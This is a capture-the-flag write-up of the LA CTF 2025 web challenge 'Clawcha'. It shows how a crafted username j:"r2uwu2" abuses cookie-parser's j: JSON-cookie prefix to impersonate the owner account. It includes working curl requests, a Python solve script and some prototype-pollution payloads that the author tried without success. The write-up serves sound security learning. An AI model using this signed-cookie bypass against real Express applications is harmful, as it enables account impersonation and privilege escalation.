Clawcha

LACTFby smothy

Clawcha - LA CTF 2025 Web Writeup

Category: Web Difficulty: Medium Points: 260 Solves: 44 Flag: lactf{m4yb3_th3_r34l_g4ch4_w4s_l7f3} Solved by: Smothy @ 0xN1umb


Hackerman

"When the real gacha was the cookies we forged along the way."


Challenge Description

I found a hoyoverse claw machine out in the wild. You should play it a lot and give me it all your moneys.

We're given a Node.js Express app that simulates a Hoyoverse-themed gacha/claw machine. You can pull characters like Kafka, Acheron, and Mavuika, but the flag item has a probability of 1e-15 (0.000000000000001%). The only way to bypass this check is to be the "owner" - a user called r2uwu2 whose password is a server secret we don't know.

TL;DR

Cookie-parser's j: JSON cookie prefix lets us register as j:"r2uwu2", get a valid signed cookie, and when it's parsed back, the JSON deserialization turns our username into r2uwu2 - the owner. Cookie type confusion go brrr.

Initial Recon

The challenge gives us a zip with the full source. Let's see what we're working with:

Key observations:

  • Node.js 25 in the Dockerfile (suspicious, but turns out to be a red herring)
  • Express 4.21.2 with cookie-parser 1.4.7 and cookie-signature 1.0.6
  • Flag item has probability 1e-15 - basically zero
  • Only the user r2uwu2 has owner: true, which bypasses the probability check
  • The r2uwu2 password is process.env.SECRET - we can't guess it

The critical code in /claw:

javascript
const isOwner = res.locals.user?.owner ?? false;
const item = inventory.gacha(req.body.item);
const pulled = (item && (Math.random() < item.probability || isOwner))
  ? item : null;

If isOwner is truthy, we win every time. So the whole challenge boils down to: how do we make isOwner true?

Step 1: Understanding the Auth Flow

The login endpoint registers new users with owner: false hardcoded:

javascript
users.set(username, { username, password, owner: false });

The auth middleware checks for a signed cookie, looks up the username in the Map, and sets res.locals.user to the user object. The cookie is signed with HMAC-SHA256 using the server secret, so we can't forge it.

Or can we?

Step 2: The Node.js 25 Rabbit Hole

The Dockerfile explicitly uses node:25-bookworm-slim. I spent way too long investigating:

  • Did V8 14.1 change __proto__ handling? Nope.
  • Does Express's allowPrototypes: true in qs enable pollution? Tested it - nope, qs 6.13.0 changes the local object's prototype, doesn't pollute Object.prototype.
  • Any changes to JSON.parse __proto__ behavior? Nope, still creates data properties.

Node.js 25 was a complete red herring. The vulnerability has nothing to do with the runtime version.

After exhausting prototype pollution angles, I looked more carefully at how cookie-parser processes cookies. There are THREE processing stages:

  1. cookie.parse() - Parse raw Cookie header
  2. signedCookies() - Verify HMAC signatures, strip s: prefix
  3. JSONCookies() - If value starts with j:, call JSON.parse() on the rest

Wait. JSONCookies runs AFTER signature verification. So if I can get a legitimately signed cookie whose value starts with j:, cookie-parser will JSON-parse it!

What happens if I register with the username j:"r2uwu2"?

The flow:

  1. Register as j:"r2uwu2" with any password
  2. Server signs the cookie: s:j:"r2uwu2".<valid HMAC>
  3. On the next request, cookie-parser:
    • Unsigns it: strips s:, verifies HMAC, gets j:"r2uwu2" - valid!
    • JSONCookie sees j: prefix, calls JSON.parse('"r2uwu2"')
    • JSON.parse('"r2uwu2"') returns the string "r2uwu2" (without the j: prefix!)
  4. req.signedCookies.username is now "r2uwu2" - the OWNER
  5. Auth middleware: users.has("r2uwu2") -> true -> res.locals.user.owner = true

The key insight: JSON.parse('"r2uwu2"') is valid JSON! A JSON string literal evaluates to a plain string. So our username silently transforms from j:"r2uwu2" (our registered user) to r2uwu2 (the owner).

Step 4: The Exploit

bash
# Step 1: Register with the crafted username
curl -c cookies.txt -X POST https://clawcha.chall.lac.tf/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"j:\"r2uwu2\"","password":"anything"}'
# {"success":true}

# Step 2: Use the cookie to grab the flag
curl -b cookies.txt -X POST https://clawcha.chall.lac.tf/claw \
  -H 'Content-Type: application/json' \
  -d '{"item":"flag"}'
# {"success":true,"msg":"lactf{m4yb3_th3_r34l_g4ch4_w4s_l7f3}"}

Two requests. That's it. No prototype pollution, no PRNG prediction, no crypto attacks. Just a cookie type confusion.

The Flag

lactf{m4yb3_th3_r34l_g4ch4_w4s_l7f3}

"maybe the real gacha was life" - deep. GG.

The Solve Script

python
#!/usr/bin/env python3
"""
Clawcha - LA CTF 2025 Web Exploit
Cookie type confusion via cookie-parser j: prefix
Solved by Smothy @ 0xN1umb
"""
import requests

BASE = "https://clawcha.chall.lac.tf"
s = requests.Session()

# Register with j:"r2uwu2" - after cookie JSON parsing, becomes "r2uwu2" (owner)
s.post(f"{BASE}/login", json={
    "username": 'j:"r2uwu2"',
    "password": "pwned"
})

# Now our cookie resolves to the owner - grab the flag
r = s.post(f"{BASE}/claw", json={"item": "flag"})
print(r.json()["msg"])

The Graveyard of Failed Attempts

  1. Prototype pollution via qs query string (?__proto__[user][owner]=true)

    • Express does pass allowPrototypes: true to qs, but qs 6.13.0's obj.__proto__ = value changes the local object's prototype, doesn't pollute Object.prototype. Tested locally, confirmed no pollution.
  2. Constructor.prototype pollution (?constructor[prototype][owner]=true)

    • Creates an own constructor property on the result, shadows the inherited one. No global pollution.
  3. JSON body __proto__ pollution

    • JSON.parse creates __proto__ as a data property. No prototype setter triggered. Even in Node.js 25.
  4. Math.random() prediction (xorshift128+ state recovery)

    • With probability 1e-15 (~2^(-50)), even with perfect state prediction, finding a qualifying output would take ~2^50 iterations. Way too impractical for a web CTF.
  5. Node.js 25 specific vulnerabilities

    • Investigated V8 14.1 changes, __proto__ accessor status, JSON.parse behavior. Nothing relevant. Complete red herring.

Key Takeaways

  1. Read the middleware source code - cookie-parser has a j: JSON prefix feature that most people don't know about. The vuln is in the gap between what gets signed and what gets used after JSON parsing.

  2. Type confusion between processing stages - The cookie is signed as j:"r2uwu2" (one identity), but after JSON parsing becomes r2uwu2" (different identity). Classic confusion between serialization layers.

  3. Don't get tunnel-visioned on red herrings - Node.js 25 in the Dockerfile was designed to make you waste time investigating V8/runtime changes. The actual vuln is in a cookie-parser feature that exists in every version.

  4. Understand the full processing pipeline - The vulnerability only becomes visible when you understand ALL three stages: parse -> unsign -> JSON decode. Missing any one stage means missing the exploit.

  5. JSON.parse('"string"') is valid JSON - A double-quoted string is a valid JSON value. This is what makes the type confusion work - our crafted username is valid JSON that evaluates to a different string.

Tools Used

  • curl (for testing payloads)
  • Node.js + qs (for local prototype pollution testing)
  • Way too much time investigating prototype pollution
  • Way too much caffeine

Writeup by Smothy from 0xN1umb team. Sometimes the simplest bugs hide behind the loudest red herrings. Two curls and a dream. GG.